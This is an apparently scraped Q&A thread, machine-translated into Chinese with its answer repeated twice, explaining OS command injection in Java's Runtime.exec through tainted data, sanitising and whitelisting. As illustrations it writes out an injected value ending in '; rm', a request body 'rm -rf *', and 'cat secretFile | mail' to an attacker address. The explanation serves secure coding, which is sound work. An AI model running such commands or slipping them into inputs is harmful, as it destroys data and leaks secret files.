OS 命令注入可能无需运行时 api 执行?
OS command injection possible without Runtime api execution?
根据我对 site OS(linux/windows) 的理解,命令执行是可能的
仅当我在 Runtime.exec
中使用任何字符串作为参数时
我的问题是,如果我不使用任何请求参数(来自用户)或者实际上 Runtime.exec 下的任何字符串是否可以执行 OS 命令?我的回答是不应该
无论如何。
最安全的事情永远是避免像 system()
或 exec()
这样的调用——实际上在某些组织中,如果您的应用程序这样做,您绝对不会通过安全审查。
但是,正如您所暗示的,您可以采取措施使其安全。一个有用的概念是 "tainted" 数据。用户或客户端提供的一条数据被污染。从 污染数据构建的一段数据也被污染了。您可以“清除*数据,例如通过将其映射到一组列入白名单的选项,或通过清理它。
String name = request.getBody(); // tainted
String cmd = "grep " + name + " customers.txt"; // also tainted
String cleanName = sanitize(name); // untainted
String cleanerName = validNameMap.get(name); // untainted
String literal = "a literal string"; // untainted
你可以看到如果 request.getBody()
returns slim
那么 grep slim customers.txt
是安全的。但是,如果用户提供的数据是 slim customers.txt; rm
,grep slim customers.txt; rm customers.txt
的结果 cmd
就是个坏消息。
sanitize()
可能会删除除 a-zA-Z
.
之外的所有内容
清理例程有很大的范围是幼稚的、不够彻底的,这可能是一个攻击向量——因此白名单被认为更安全。
(有多种语言的工具可以分析代码,如果来自不受信任来源的数据被写入不安全的目的地,则会向您发出警告:https://www.owasp.org/index.php/Source_Code_Analysis_Tools)
如果传递给 exec()
的字符串是未受污染的,这是迈向安全的一步。然而,仍然有一些方法可以使它变得危险。考虑:
String command = "/usr/local/bin/myProgram";
String path = "/tmp/inputfile";
createNewFile(path, request.getBody());
runtime.exec(command, path);
现在,command
和 path
都没有被污染——它们不是由用户提供的——但是我们通过文件将被污染的数据传递给 myProgram
,并且有myProgram 会对数据进行危险操作的风险。
最明显的例子是如果 command
是 /bin/bash
,并且请求正文类似于 rm -rf *
或 cat secretFile | mail blackhat@naughtyhacker.com
。
但是还有很多更微妙的方式可能会带来风险。例如,也许 myprogram
使用文件的内容来构建 SQL 请求。
您可以在不同的地方降低这些风险。您可以在将数据写入文件之前对其进行清理,或者您可以在安全模型中明确指出文件的内容已被污染,myprogram
必须如此对待它,并自行清除。
根据我对 site OS(linux/windows) 的理解,命令执行是可能的 仅当我在 Runtime.exec
中使用任何字符串作为参数时我的问题是,如果我不使用任何请求参数(来自用户)或者实际上 Runtime.exec 下的任何字符串是否可以执行 OS 命令?我的回答是不应该 无论如何。
最安全的事情永远是避免像 system()
或 exec()
这样的调用——实际上在某些组织中,如果您的应用程序这样做,您绝对不会通过安全审查。
但是,正如您所暗示的,您可以采取措施使其安全。一个有用的概念是 "tainted" 数据。用户或客户端提供的一条数据被污染。从 污染数据构建的一段数据也被污染了。您可以“清除*数据,例如通过将其映射到一组列入白名单的选项,或通过清理它。
String name = request.getBody(); // tainted
String cmd = "grep " + name + " customers.txt"; // also tainted
String cleanName = sanitize(name); // untainted
String cleanerName = validNameMap.get(name); // untainted
String literal = "a literal string"; // untainted
你可以看到如果 request.getBody()
returns slim
那么 grep slim customers.txt
是安全的。但是,如果用户提供的数据是 slim customers.txt; rm
,grep slim customers.txt; rm customers.txt
的结果 cmd
就是个坏消息。
sanitize()
可能会删除除 a-zA-Z
.
清理例程有很大的范围是幼稚的、不够彻底的,这可能是一个攻击向量——因此白名单被认为更安全。
(有多种语言的工具可以分析代码,如果来自不受信任来源的数据被写入不安全的目的地,则会向您发出警告:https://www.owasp.org/index.php/Source_Code_Analysis_Tools)
如果传递给 exec()
的字符串是未受污染的,这是迈向安全的一步。然而,仍然有一些方法可以使它变得危险。考虑:
String command = "/usr/local/bin/myProgram";
String path = "/tmp/inputfile";
createNewFile(path, request.getBody());
runtime.exec(command, path);
现在,command
和 path
都没有被污染——它们不是由用户提供的——但是我们通过文件将被污染的数据传递给 myProgram
,并且有myProgram 会对数据进行危险操作的风险。
最明显的例子是如果 command
是 /bin/bash
,并且请求正文类似于 rm -rf *
或 cat secretFile | mail blackhat@naughtyhacker.com
。
但是还有很多更微妙的方式可能会带来风险。例如,也许 myprogram
使用文件的内容来构建 SQL 请求。
您可以在不同的地方降低这些风险。您可以在将数据写入文件之前对其进行清理,或者您可以在安全模型中明确指出文件的内容已被污染,myprogram
必须如此对待它,并自行清除。